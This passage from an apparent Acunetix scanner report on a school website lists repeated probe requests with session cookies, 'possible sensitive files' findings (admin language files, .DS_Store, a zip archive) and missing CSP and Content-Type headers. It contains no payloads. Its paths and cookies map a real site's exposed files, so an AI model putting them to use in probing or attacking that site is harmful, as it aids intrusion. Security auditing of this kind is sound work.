nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tadnews/include HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /uploads/tadnews/tmp HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tadtools/tcpdf/config HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tadtools/tcpdf/include HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tad_login/images/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /themes/school2019/modules/system HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tadtools/vendor/bin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tadtools/images/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tad_idioms/images/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseURI=http:/
/tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=http:
//tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0sf7
;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|
lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw
/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7;tab_news_xe7Q0b_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3T
ab3|kitchenTab3|tab_news_xe7Q0b7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tadnews/images/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseURI=http:/
/tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=http:
//tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0sf7
;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|
lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw
/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7;tab_news_xe7Q0b_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3T
ab3|kitchenTab3|tab_news_xe7Q0b7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tadgallery/images/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseURI=http:/
/tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=http:
//tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0sf7
;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|
lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw
/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7;tab_news_xe7Q0b_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3T
ab3|kitchenTab3|tab_news_xe7Q0b7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tad_link/images/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseURI=http:/
/tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=http:
//tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0sf7
;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|
lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw
/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7;tab_news_xe7Q0b_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3T
ab3|kitchenTab3|tab_news_xe7Q0b7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /themes/default/modules/system HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseURI=http:/
/tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=http:
//tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0sf7
;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|
lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw
/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7;tab_news_xe7Q0b_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3T
ab3|kitchenTab3|tab_news_xe7Q0b7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/tad_player/images/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseURI=http:/
/tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=http:
//tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0sf7
;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|
lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw
/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7;tab_news_xe7Q0b_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3T
ab3|kitchenTab3|tab_news_xe7Q0b7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/tad_lunch3/images/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseURI=http:/
/tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=http:
//tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0sf7
;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|
lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw
/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7;tab_news_xe7Q0b_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3T
ab3|kitchenTab3|tab_news_xe7Q0b7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

 Possible sensitive files

Severity Low
Reported by module /Scripts/PerFolder/Possible_Sensitive_Files.script

Description

A possible sensitive file has been found. This file is not directly linked from the website. This check looks for common
sensitive resources like password files, configuration files, log files, include files, statistics data, database dumps. Each one
of these files could help an attacker to learn more about his target.

Impact

This file may expose sensitive information that could help a malicious user to prepare more advanced attacks.

Recommendation

Restrict access to this file or remove it from the website.

References

Web Server Security and Database Server Security (http://www.acunetix.com/websitesecurity/webserver-security/) 

Affected items

/language/english/admin.php
Details

Request headers

http://www.acunetix.com/websitesecurity/webserver-security/


GET /language/english/admin.php HTTP/1.1 
Accept: acunetix/wvs 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/language/tchinese_utf8/admin.php
Details

Request headers

GET /language/tchinese_utf8/admin.php HTTP/1.1 
Accept: acunetix/wvs 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadtools/bootstrap4/css/.DS_Store
Details

Request headers

GET /modules/tadtools/bootstrap4/css/.DS_Store HTTP/1.1 
Accept: acunetix/wvs 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseURI=http:/
/tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=http:
//tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0sf7
;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|
lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw
/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7;tab_news_xe7Q0b_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3T
ab3|kitchenTab3|tab_news_xe7Q0b7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/uploads/tad_link/tad_link.zip



Details

Request headers

GET /uploads/tad_link/tad_link.zip HTTP/1.1 
Accept: acunetix/wvs 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

 Content Security Policy (CSP) not implemented

Severity Informational
Reported by module /httpdata/CSP_not_implemented.js

Description

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks,
including Cross Site Scripting (XSS) and data injection attacks.  

Content Security Policy (CSP) can be implemented by adding a Content-Security-Policy header. The value of this header
is a string containing the policy directives describing your Content Security Policy. To implement CSP, you should define
lists of allowed origins for the all of the types of resources that your site utilizes. For example, if you have a simple site that
needs to load scripts, stylesheets, and images hosted locally, as well as from the jQuery library from their CDN, the CSP
header could look like the following:

 
 
Content-Security-Policy: 
 
    default-src 'self'; 
 
    script-src 'self' https://code.jquery.com; 
 

It was detected that your web application doesn't implement Content Security Policy (CSP) as the CSP header is missing
from the response. It's recommended to implement Content Security Policy (CSP) into your web application.

Impact

CSP can be used to prevent and/or mitigate attacks that involve content/code injection, such as cross-site scripting/XSS
attacks, attacks that require embedding a malicious resource, attacks that involve malicious use of iframes, such as
clickjacking attacks, and others.

Recommendation

It's recommended to implement Content Security Policy (CSP) into your web application. Configuring Content Security
Policy involves adding the Content-Security-Policy HTTP header to a web page and giving it values to control resources
the user agent is allowed to load for that page.



References

Content Security Policy (CSP) (https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) 
Implementing Content Security Policy (https://hacks.mozilla.org/2016/02/implementing-content-security-policy/) 

Affected items

Web Server
Details

Request headers

GET / HTTP/1.1 
Cookie: PHPSESSID=p0hect0s0l3ttnp1mj2eftphs4 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

 Content type is not specified

Severity Informational
Reported by module /RPA/Content_Type_Missing.js

Description

This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this
header is missing, the browser may incorrectly handle the data. This could lead to security problems.

Impact

None

Recommendation

Set a Content-Type header value for this page.

Affected items

/media/font-awesome/fonts/fontawesome-webfont.woff2
Details

Request headers

https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
https://hacks.mozilla.org/2016/02/implementing-content-security-policy/


GET /media/font-awesome/fonts/fontawesome-webfont.woff2 HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseURI=http:/
/tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=http:
//tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0sf7
;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|
lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw
/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7;tab_news_xe7Q0b_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3T
ab3|kitchenTab3|tab_news_xe7Q0b7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadtools/bootstrap4/css/.DS_Store
Details

Request headers

GET /modules/tadtools/bootstrap4/css/.DS_Store HTTP/1.1 
Cookie:
